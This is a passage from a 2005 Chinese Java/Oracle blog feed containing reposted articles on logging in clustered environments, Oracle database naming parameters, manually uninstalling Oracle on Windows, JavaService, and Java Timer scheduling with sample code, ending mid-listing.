<P>现在有越来越多的企业级应用程序是在集群环境或分布式环境中进行部署的。然而，集群环境中的日志需要更多规划，因为消息都是从不同的源头生成的（通常是不同的机器）。如果要对不同的机器记录日志，那就必须对这些机器的时间戳进行同步，否则日志消息的次序就混乱了。对机器间时钟进行同步的一种简单方法是使用一个时间服务器。有两种方法可以设置时间服务器。您可以指定一台内部的机器作为时间服务器。然后其他机器就可以使用网络时间协议（NTP）来与时间服务器的时间戳进行同步。另外，您可以使用 Internet 上提供的时间服务器（请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A>）。在 AIX 上，<CODE>xntpd</CODE> 守护进程用来对不同机器的系统时间进行同步。当机器具有相同的时间之后，就可以对日志一起进行分析了。</P>
<P>在集群环境中搜集日志消息还面临着一些挑战。在这种环境中保存日志消息的一种简单方法是将它们保存到主机特定的日志文件中。当集群是使用 <I>session affinity</I> 配置时，这可以很好地工作 —— 如果对某个特定用户会话的请求都要到同一个服务器上，并且 EJB 也都是部署在本地的。在这种配置中，集群中的机器所产生的日志文件都可以独立进行分析。如果不是这种情况 —— 换而言之，如果任何给定的请求都可以由多台机器进行处理 —— 那么对不同日志文件中的日志消息进行分析就会变得更加困难。在这种情况中，一种好的办法是使用系统管理软件来管理日志消息，例如 IBM Tivoli® 软件（请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A> 中的链接）。这种软件对所有的日志消息（在系统管理软件的术语中称之为 <I>事件</I>）提供了一个综合的视图，从而便于管理员使用。系统管理软件也可以根据所接收到的事件的类型触发一些操作（例如发送 e-mail 消息或传呼消息）。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=6><SPAN class=atitle><FONT face=Arial size=4>结束语 </FONT></SPAN></A></P>
<P>在本文中，我们介绍了在规划日志策略时需要考虑哪些问题。正如在编程时所碰到的问题一样，从一开始就采用一个经过详细考虑的规划要比在进行的同时规划更能节省工作量。良好的日志策略可以极大地帮助对问题进行诊断。最终，终端用户可以获得更好的应用程序，并能从技术支持团队获得迅速的响应。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=resources><SPAN class=atitle><FONT face=Arial size=4>参考资料 </FONT></SPAN></A></P>
<UL>
<LI>您可以参阅本文在 developerWorks 全球站点上的 <A href="http://www.ibm.com/developerworks/java/library/j-logging/" target=_blank><FONT color=#5c81a7>英文原文</FONT></A>。<BR><BR>
<LI>Apache <A href="http://logging.apache.org/log4j/docs/index.html"><FONT color=#5c81a7>Log4J</FONT></A> 库是 Java 平台上特性最丰富、最成熟的日志 API。<BR><BR>
<LI>官方的 <A href="http://logging.apache.org/log4j/docs/manual.html"><FONT color=#5c81a7>short introduction to Log4J</FONT></A> 是为那些希望使用 Log4J 库的人准备的一个必读物。<BR><BR>
<LI><A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html"><FONT color=#5c81a7>Log4J 教程</FONT></A> 对日志包进行了很好的介绍。<BR><BR>
<LI><A href="http://java.sun.com/j2se/1.4.2/docs/guide/util/logging/"><FONT color=#5c81a7>Java Logging API</FONT></A> 是 Java 1.4 及其更高版本中所提供的一个标准日志 API。这个 API 最初是 <A href="http://jcp.org/en/jsr/detail?id=47"><FONT color=#5c81a7>JSR 47</FONT></A>。<BR><BR>
<LI>Brian Gilstrap 撰写的“<A href="http://www.onjava.com/pub/a/onjava/2002/06/19/log.html"><FONT color=#5c81a7>An introduction to the Java Logging API</FONT></A>”（<I>OnJava.com</I>，2002 年 6 月）讨论了这个标准日志 API 的使用问题。<BR><BR>
<LI>Stuart Dabbs Halloway 撰写的“<A href="http://www.fawcette.com/javapro/2002_06/magazine/features/shalloway/"><FONT color=#5c81a7>The Java Logging API</FONT></A>”（<I>JavaPro</I>，2002 年 6 月）也很好地介绍了这个 API。<BR><BR>
<LI>Apache <A href="http://jakarta.apache.org/commons/logging/"><FONT color=#5c81a7>Commons Logging</FONT></A> API 对其他实现提供了一种封装，从而让您可以在不同的实现之间进行切换。<BR><BR>
<LI><A href="http://logging.apache.org/log4j/docs/api/org/apache/log4j/NDC.html"><FONT color=#5c81a7>嵌套诊断上下文（NDC）</FONT></A> 将上下文信息保存在本地线程存储中，在产生日志消息时可以使用这些信息。<BR><BR>
<LI><A href="http://xstream.codehaus.org/"><FONT color=#5c81a7>XStream</FONT></A> 库可以使用 introspection 将 Java 对象转化成 XML （反之亦可）。它对于记录应用程序的状态来说非常有用。<BR><BR>
<LI><A href="http://java.sun.com/products/servlet/Filters.html"><FONT color=#5c81a7>Servlet filter</FONT></A> 可以截获请求和响应，并能用于为日志消息设置上下文消息。<BR><BR>
<LI>Sun 的 <A href="http://java.sun.com/products/servlet/Filters.html"><FONT color=#5c81a7>The Essentials of Filters</FONT></A> 是学习 servlet 过滤器的一个很好资源。<BR><BR>
<LI>受欢迎的 developerWorks 作者 Sing Li 在“<A href="http://www-128.ibm.com/developerworks/cn/java/j-tomcat/"><FONT color=#5c81a7>Tomcat 的过滤诀窍</FONT></A>”（developerWorks，2001 年 6 月）一文中，介绍了有关 servlet 过滤的两点问题，这篇文章将向您展示如何在应用程序中充分利用这些过滤器。<BR><BR>
<LI><I><A href="http://www-128.ibm.com/developerworks/cn/views/java/articles.jsp?view_by=search&amp;search_by=AOP%40Work%3A"><FONT color=#5c81a7>AOP@Work</FONT></A></I> 系列，由面向方面开发社区的领先专家执笔撰写，深入介绍了应用 AOP 的问题。相关文章有“<A href="http://www.ibm.com/developerworks/cn/java/j-aopwork8/"><FONT color=#5c81a7>介绍 AspectJ 5</FONT></A>”和“<A href="http://www.ibm.com/developerworks/cn/java/j-aopwork9/"><FONT color=#5c81a7>用新的 AJDT 本本简化 AOP 开发</FONT></A>”。<BR><BR>
<LI>Wayne Beaton 和 Sree Anand Ratnasingh 撰写的“<A href="http://www.ibm.com/developerworks/websphere/library/techarticles/0401_beaton/0401_beaton.html"><FONT color=#5c81a7>Migrating WebLogic startup code to WebSphere Application Server V5</FONT></A>”（developerWorks, 2004 年 1 月），讨论了两个流行的应用服务器启动代码的差异。<BR><BR>
<LI>查看 <A href="http://java.sun.com/products/JavaManagement/"><FONT color=#5c81a7>Java Management Extensions（JMX）主页</FONT></A>。<BR><BR>
<LI>受欢迎的作者 Sing Li 在他的 3 篇系列文章“<A href="http://www-128.ibm.com/developerworks/cn/java/j-jmx1/"><FONT color=#5c81a7>从黑箱到企业，第 1 部分: 管理，JMX 1.1 样式 </FONT></A>” 中对 JMX 进行了深入的介绍。<BR><BR>
<LI>这个 <A href="http://publib.boulder.ibm.com/infocenter/ws60help/index.jsp?topic=/com.ibm.websphere.nd.doc/info/ae/ae/tjmx_extend.html"><FONT color=#5c81a7>帮助页面 </FONT></A>讨论了使用 Java Management Extensions（JMX）扩充 WebSphere Application Server 管理系统的内容。<BR><BR>
<LI><A href="http://www.ntp.org/"><FONT color=#5c81a7>Network Time Protocol</FONT></A> 项目主页上罗列了很多公共时间服务器，您可以使用它们来对机器时钟进行同步。<BR><BR>
<LI><A href="http://publibn.boulder.ibm.com/doc_link/en_US/a_doc_lib/cmds/aixcmds6/xntpd.htm"><FONT color=#5c81a7><CODE>xntpd</CODE> 手册页</FONT></A> 讨论了 AIX 上的网络时间协议守护进程的内容。<BR><BR>
<LI>您可以在 developerWorks 的 <A href="http://www.ibm.com/developerworks/cn/java/"><FONT color=#5c81a7>Java 技术专区</FONT></A> 中找到有关 Java 编程各方面知识的文章。<BR></LI></UL><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=author><SPAN class=atitle><FONT face=Arial size=4>关于作者</FONT></SPAN></A></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD colSpan=2><FONT face=Arial size=4><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width="100%"></FONT></TD></TR>
<TR vAlign=top align=left>
<TD>
<P><FONT face=Arial size=4></FONT></P></TD>
<TD>
<P>Charles Chan 是一名独立软件顾问，在加拿大的 Toronto 工作。他的兴趣包括分布式系统、高性能计算、国际化以及软件设计模式。在空闲时间，他为开源社区贡献自己的成果。</P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/12271.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-06 23:32 <a href="http://www.blogjava.net/kapok/archive/2005/09/06/12271.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于数据库名(db_name)、实例名(instance_name)、ORACLE_SID</title><link>http://www.blogjava.net/kapok/archive/2005/09/04/11943.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 04 Sep 2005 09:49:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/04/11943.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/11943.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/04/11943.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/11943.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/11943.html</trackback:ping><description><![CDATA[<A href="http://chinaunix.net/jh/19/348162.html">http://chinaunix.net/jh/19/348162.html</A><BR>最近因看到论坛有人问起这方面的东西，将自己的理解加上查阅相关资料整理如下，如果不全或不当的地方，望指正并补全它。 <BR><BR>数据库名(DB_NAME)、实例名(Instance_name)、以及操作系统环境变量(ORACLE_SID) <BR><BR>在ORACLE7、8数据库中只有数据库名(db_name)和数据库实例名(instance_name)。在ORACLE8i、9i中出现了新的参数，即数据库域名(db_domain)、服务名(service_name)、以及操作系统环境变量(ORACLE_SID)。这些都存在于同一个数据库中的标识，用于区分不同数据库的参数。 <BR><BR>一、什么是数据库名(db_name)? <BR>数据库名是用于区分数据的内部标识，是以二进制方式存储于数据库控制文件中的参数，在数据安装或创建之后将不得修改。数据库安装完成后，该参数被写入数据库参数文件pfile中，格式如下： <BR><BR>[code:1:1aaf156970] <BR>......... <BR>db_name="orcl"&nbsp;&nbsp;&nbsp;&nbsp; #(不允许修改) <BR>db_domain=dbcenter.toys.com <BR>instance_name=orcl <BR>service_names=orcl.dbcenter.toys.com <BR>control_file=(............... <BR>......... <BR>[/code:1:1aaf156970] <BR><BR>在每一个运行的ORACLE8i数据库中都有一个数据库名(db_name),如果一个服务器程序中创建了两个数据库，则有两个数据库名。其控制参数据分属在不同的pfile中控制着相关的数据库。 <BR><BR>二、什么是数据库实例名(instance_name) <BR>数据库实例名则用于和操作系统之间的联系，用于对外部连接时使用。在操作系统中要取得与数据库之间的交互，必须使用数据库实例名。例如，要和某一个数据库server连接，就必须知道其数据库实例名，只知道数据库名是没有用的，与数据库名不同，在数据安装或创建数据库之后，实例名可以被修改。数据库安装完成后，该实例名被写入数据库参数文件pfile中，格式如下： <BR>[code:1:1aaf156970] <BR>db_name="orcl"&nbsp;&nbsp;&nbsp;&nbsp; #(不允许修改) <BR>db_domain=dbcenter.toys.com <BR>instance_name=orcl&nbsp;&nbsp;#(可以修改,可以与db_name相同也可不同) <BR>service_names=orcl.dbcenter.toys.com <BR>control_file=(............... <BR>......... <BR>[/code:1:1aaf156970] <BR>数据库名与实例名之间的关系。 <BR>数据库名与实例名之间的关系一般是一一对应关系，有一个数据库名就有一个实例名，如果在一个服务器中创建两个数据库，则有两个数据库名，两个数据库实例名，用两个标识确定一个数据库，用户和实例相连接。 <BR>但在8i、9i的并行服务器结构中，数据库与实例之间不存在一一对应关系，而是一对多关系，(一个数据库对应多个实例，同一时间内用户只一个实例相联系，当某一实例出现故障，其它实例自动服务，以保证数据库安全运行。) <BR><BR>三、操作系统环境变量(ORACLE_SID) <BR>在实际中，对于数据库实例名的描述有时使用实例名(instance_name)参数，有时使用ORACLE_SID参数。这两个都是数据库实例名，它们有什么区别呢？(经常弄混) <BR>[code:1:1aaf156970] <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ORACLE_SID) <BR>OS&lt;----------------&gt;&nbsp;ORACLE&nbsp;数据库&nbsp;&lt;--------(Instance_name(实例名)) <BR><BR>[/code:1:1aaf156970] <BR>上图表示实例名instance_name、ORACLE_SID与数据库及操作系统之间的关系，虽然这里列出的两个参数都是数据库实例名，但instance_name参数是ORACLE数据库的参数，此参数可以在参数文件中查询到，而ORACLE_SID参数则是操作系统环境变量。 <BR>操作系统环境变量ORACLE_SID用于和操作系统交互。也就是说，在操作系统中要想得到实例名，就必须使用ORACLE_SID。此参数与ORACLE_BASE、ORACLE_HOME等用法相同。在数据库安装之后，ORACLE_SID被用于定义数据库参数文件的名称。如： <BR>$ORACLE_BASE/admin/DB_NAME/pfile/init$ORACLE_SID.ora。 <BR>定义方法: <BR>[code:1:1aaf156970] <BR>export&nbsp;ORACLE_SID=orcl <BR>[/code:1:1aaf156970] <BR><BR>如果在同一服务器中创建了多个数据库，则必然同时存在多个数据库实例,这时可以重复上述定义过程，以选择不同实例。 <BR><BR>还可以用 <BR>[code:1:1aaf156970] <BR>[oracle@Datacent]$&nbsp;.&nbsp;oraenv <BR>[/code:1:1aaf156970] <BR><BR>来切换不同的ORACLE_SID来通过操作系统来启动不同的实例(instance) <BR><BR>谢谢&nbsp;&nbsp;&nbsp;:em03:<BR><BR><img src ="http://www.blogjava.net/kapok/aggbug/11943.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-04 17:49 <a href="http://www.blogjava.net/kapok/archive/2005/09/04/11943.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>完全卸载Oracle</title><link>http://www.blogjava.net/kapok/archive/2005/09/04/11940.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 04 Sep 2005 09:03:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/04/11940.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/11940.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/04/11940.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/11940.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/11940.html</trackback:ping><description><![CDATA[<P><FONT size=2><BR></FONT><FONT size=2>软件环境： <BR>1、Windows 2000+ORACLE 8.1.7 <BR>2、ORACLE安装路径为：C:\ORACLE </FONT></P><FONT size=2>
<P>实现方法： <BR>1、 开始－＞设置－＞控制面板－＞管理工具－＞服务 <BR>停止所有Oracle服务。 </P>
<P>2、 开始－＞程序－＞Oracle - OraHome81－＞Oracle Installation Products－＞ <BR>Universal Installer <BR>卸装所有Oracle产品，但Universal Installer本身不能被删除 </P>
<P>5、 运行regedit，选择HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE，按del键删除这个入口。 </P>
<P>6、 运行regedit，选择HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services，滚动 <BR>这个列表，删除所有Oracle入口。 </P>
<P>7、 运行refedit， <BR>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application， <BR>删除所有Oracle入口。 </P>
<P>8、 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 <BR>删除环境变量CLASSPATH和PATH中有关Oracle的设定 </P>
<P>9、 从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标 </P>
<P>10、 删除\Program Files\Oracle目录 </P>
<P>11、 重新启动计算机，重起后才能完全删除Oracle所在目录 </P>
<P>12、 删除与Oracle有关的文件，选择Oracle所在的缺省目录C:\Oracle，删除这个入 <BR>口目录及所有子目录，并从Windows 2000目录（一般为C:\WINNT）下删除以下文 <BR>件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。 </P>
<P>13、 WIN.INI文件中若有[ORACLE]的标记段，删除该段 </P>
<P>14、 如有必要，删除所有Oracle相关的ODBC的DSN </P>
<P>15、 到事件查看器中，删除Oracle相关的日志 </P>
<P>说明： <BR>如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装， <BR>安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了<BR><BR><BR><BR><BR>天狼星 第 1 页 2003-4-8<BR>Oracle 9i for Windows DBA 手册 ————关于手动删除Oracle的几点问题 有些时候，OUI删除Oracle产品后，将会在系统上遗留一些注册设置、文件和文件夹。如果希望清理系统上的Oracle安装，则可以手工删除Oracle组件。Enterprise Edition可以采用如下方式进行删除： 1）、以Administrator身份登录到Windows 2000 系统。选择Service applet 以便停止所有Oracle 服务。Oracle 的服务名都具有一个oracle或ora 的前缀。一旦停止了所有的Oracle服务，我们建议将它们设置为手工启动模式（manual start mode）。 警告 Microsoft 建议不要手工更改Windows 注册表。更改注册表可能会导致一些应用程序或Windows 工作不正常。 2）、备份Windows 注册表。启动Registry Editor 并从菜单中选择 File | Export。 3）、用命令regedt32启动Registry Editor。找到HKEY_CLASSES_ROOT节点并删除所有以字符串Oracle、ORA、ORCL开始的键。 4）、找到HKEY_LOCAL_MACHINE/SOFTWARE键并删除Oracle 和 Apache Group 键。 5）、删除HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\odbcinst.ini 下<BR>天狼星 第 2 页 2003-4-8<BR>面的Oracle ODBC Driver键。 6）、删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services和HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Servicess\EventLog\Application下所有以ORACLE起始的键。 7)、删除HKEY_CURRENT_USER\SOFTWARE\ORACLE下所有以ORACLE或ORCL起始的键。 8）、删除HKEY_CURRENT_USER\SOFTWARE\ODBC\odbcinst.ini 下所有以Oracle起始的键。 9）、寻找注册表中所有包含Oracle和ORCL字符串的键并删除它们。 10）、关闭Registry Editor。 11）、编辑环境变量（控制面板中的System applet）并修改PATH变量，从PATH中删除所有Oracle 条目。 12）、从ALL USERS 特征文件中删除Oracle Home 和Oracle Installation Products 快捷方式。这在Windows NT 中的Path winnt | Profiles | All Users | Start | Programs 以及Windows2000 和Windows XP 系统中的Documents and Settings | All Users |Start Menu | Programs 中有效。 13）、删除Program Files 中的Oracle 文件夹。如果没有成功的删除该文件夹，则可能是Windows 锁定了一些文件(DLL)。遇到这种情况，重新启动系统并删除该文件夹。 14）、删除Oracle Base 文件夹（默认情况为Oracle ）。<BR>天狼星 第 3 页 2003-4-8<BR>应注意，Oracle 9i Enterprise Edition 也安装了第三方软件诸如：Apache HTTP Server (Oracle HTTP Server 是一个 Apache Web<BR>Server 的修改版)。<BR>注意 当试图删除 c:\oracle 文件夹时，可能会得到一个“Access is denied ”的错误消息。如果遇到了这个错误提示，则应将 c:\oracle\ora90\bin\oci.dll 重新命名为 c:\oracle\ora90\bin\ocibak ,然后重新启动机器，并删除c:\oracle 文件夹。<BR><BR><BR><BR><BR>你是用Oracle的Universal Installer卸载的吧，那个卸载不完全！<BR>应该手工卸载：<BR>1、停止所有Oracle相关服务；<BR>2、删除Oracle安装目录；<BR>3、删除C:\Program\Oracle目录；<BR>4、删除注册表相关信息：<BR>&nbsp;&nbsp; HKLM\SoftWare\Oracle项<BR>&nbsp;&nbsp; HKLM\System\CurrentContralSet\Service\Ora……<BR>&nbsp;&nbsp; HKLM\System\ControlSet001\Service\Ora……<BR>&nbsp;&nbsp; HKLM\System\ControlSet002\Service\Ora……<BR>5、重新启动计算机</P>
<P>&nbsp;</P></FONT><img src ="http://www.blogjava.net/kapok/aggbug/11940.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-04 17:03 <a href="http://www.blogjava.net/kapok/archive/2005/09/04/11940.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用Javaservice在windows系统上安装java服务</title><link>http://www.blogjava.net/kapok/archive/2005/08/31/11668.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Wed, 31 Aug 2005 09:29:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/31/11668.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/11668.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/31/11668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/11668.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/11668.html</trackback:ping><description><![CDATA[<H3 class=title>用Javaservice在windows系统上安装java服务</H3>
<P>JavaService是一个可以把任何java类当作NT服务运行的一个Win32可执行程序。它通过调用JNI的API创建使用任何兼容JNI的Java类实现的虚拟机。</P>
<P>为了启动服务，JavaService能调用典型的入口方法public static void main(String[] args)，当然，你也可以选择其他方法。为了停止服务，它能调用另外的一个方法或者只是简单地终止JVM。</P>
<P>详细资料请查阅：</P>
<P><A href="http://javaservice.objectweb.org/">http://javaservice.objectweb.org/</A></P>
<P><BR></P><img src ="http://www.blogjava.net/kapok/aggbug/11668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-31 17:29 <a href="http://www.blogjava.net/kapok/archive/2005/08/31/11668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java语言中Timer类的简洁用法 </title><link>http://www.blogjava.net/kapok/archive/2005/08/31/11648.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Wed, 31 Aug 2005 07:15:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/31/11648.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/11648.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/31/11648.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/11648.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/11648.html</trackback:ping><description><![CDATA[<TABLE style="WIDTH: 703px; HEIGHT: 3423px" cellSpacing=0 cellPadding=0 align=center>
<TBODY>
<TR>
<TD align=bottom width="100%" height=36 v="">
<DIV align=center><B><FONT color=#a00000 size=3>Java语言中Timer类的简洁用法</FONT></B> </DIV></TD></TR>
<TR>
<TD height=8>
<HR width="96%" color=#4a71b0 SIZE=1>
</TD></TR>
<TR>
<TD height=28>
<DIV align=center><BR></DIV><BR></TD></TR>
<TR>
<TD height=156>
<DIV class=font id=zoom>所有类型的 Java 应用程序一般都需要计划重复执行的任务。企业应用程序需要计划每日的日志或者晚间批处理过程。一个 J2SE 或者 J2ME 日历应用程序需要根据用户的约定计划闹铃时间。不过，标准的调度类 Timer 和 TimerTask 没有足够的灵活性，无法支持通常需要的计划任务类型。在本文中，Java 开发人员 Tom White 向您展示了如何构建一个简单通用的计划框架，以用于执行任意复杂的计划任务。 <BR><BR>我将把 java.util.Timer 和 java.util.TimerTask 统称为 Java 计时器框架，它们使程序员可以很容易地计划简单的任务（注意这些类也可用于 J2ME 中）。在 Java 2 SDK, Standard Edition, Version 1.3 中引入这个框架之前，开发人员必须编写自己的调度程序，这需要花费很大精力来处理线程和复杂的 Object.wait() 方法。不过，Java 计时器框架没有足够的能力来满足许多应用程序的计划要求。甚至一项需要在每天同一时间重复执行的任务，也不能直接使用 Timer 来计划，因为在夏令时开始和结束时会出现时间跳跃。 <BR><BR>本文展示了一个通用的 Timer 和 TimerTask 计划框架，从而允许更灵活的计划任务。这个框架非常简单 —— 它包括两个类和一个接口 —— 并且容易掌握。如果您习惯于使用 Java 定时器框架，那么您应该可以很快地掌握这个计划框架。 <BR><BR><B>计划单次任务</B> <BR><BR>计划框架建立在 Java 定时器框架类的基础之上。因此，在解释如何使用计划框架以及如何实现它之前，我们将首先看看如何用这些类进行计划。 <BR><BR>想像一个煮蛋计时器，在数分钟之后（这时蛋煮好了）它会发出声音提醒您。清单 1 中的代码构成了一个简单的煮蛋计时器的基本结构，它用 Java 语言编写： <BR><BR>清单 1. EggTimer 类 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling.examples;<BR><BR>import java.util.Timer;<BR>import java.util.TimerTask;<BR><BR>public class EggTimer {<BR> private final Timer timer = new Timer();<BR> private final int minutes;<BR><BR> public EggTimer(int minutes) {<BR> this.minutes = minutes;<BR> }<BR><BR> public void start() {<BR> timer.schedule(new TimerTask() {<BR> public void run() {<BR> playSound();<BR> timer.cancel();<BR> }<BR> private void playSound() {<BR> System.out.println("Your egg is ready!");<BR> // Start a new thread to play a sound...<BR> }<BR> }, minutes * 60 * 1000);<BR> }<BR><BR> public static void main(String[] args) {<BR> EggTimer eggTimer = new EggTimer(2);<BR> eggTimer.start();<BR> }<BR><BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>EggTimer 实例拥有一个 Timer 实例，用于提供必要的计划。用 start() 方法启动煮蛋计时器后，它就计划了一个 TimerTask，在指定的分钟数之后执行。时间到了，Timer 就在后台调用 TimerTask 的 start() 方法，这会使它发出声音。在取消计时器后这个应用程序就会中止。 <BR><BR><B>计划重复执行的任务</B> <BR><BR>通过指定一个固定的执行频率或者固定的执行时间间隔，Timer 可以对重复执行的任务进行计划。不过，有许多应用程序要求更复杂的计划。例如，每天清晨在同一时间发出叫醒铃声的闹钟不能简单地使用固定的计划频率 86400000 毫秒（24 小时），因为在钟拨快或者拨慢（如果您的时区使用夏令时）的那些天里，叫醒可能过晚或者过早。解决方案是使用日历算法计算每日事件下一次计划发生的时间。 而这正是计划框架所支持的。考虑清单 2 中的 AlarmClock 实现： <BR><BR>清单 2. AlarmClock 类 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling.examples;<BR><BR>import java.text.SimpleDateFormat;<BR><BR>import java.util.Date;<BR><BR>import org.tiling.scheduling.Scheduler;<BR>import org.tiling.scheduling.SchedulerTask;<BR>import org.tiling.scheduling.examples.iterators.DailyIterator;<BR><BR>public class AlarmClock {<BR><BR> private final Scheduler scheduler = new Scheduler();<BR> private final SimpleDateFormat dateFormat =<BR> new SimpleDateFormat("dd MMM yyyy HH:mm:ss.SSS");<BR> private final int hourOfDay, minute, second;<BR><BR> public AlarmClock(int hourOfDay, int minute, int second) {<BR> this.hourOfDay = hourOfDay;<BR> this.minute = minute;<BR> this.second = second;<BR> }<BR><BR> public void start() {<BR> scheduler.schedule(new SchedulerTask() {<BR> public void run() {<BR> soundAlarm();<BR> }<BR> private void soundAlarm() {<BR> System.out.println("Wake up! " +<BR> "It&amp;quots " + dateFormat.format(new Date()));<BR> // Start a new thread to sound an alarm...<BR> }<BR> }, new DailyIterator(hourOfDay, minute, second));<BR> }<BR><BR> public static void main(String[] args) {<BR> AlarmClock alarmClock = new AlarmClock(7, 0, 0);<BR> alarmClock.start();<BR> 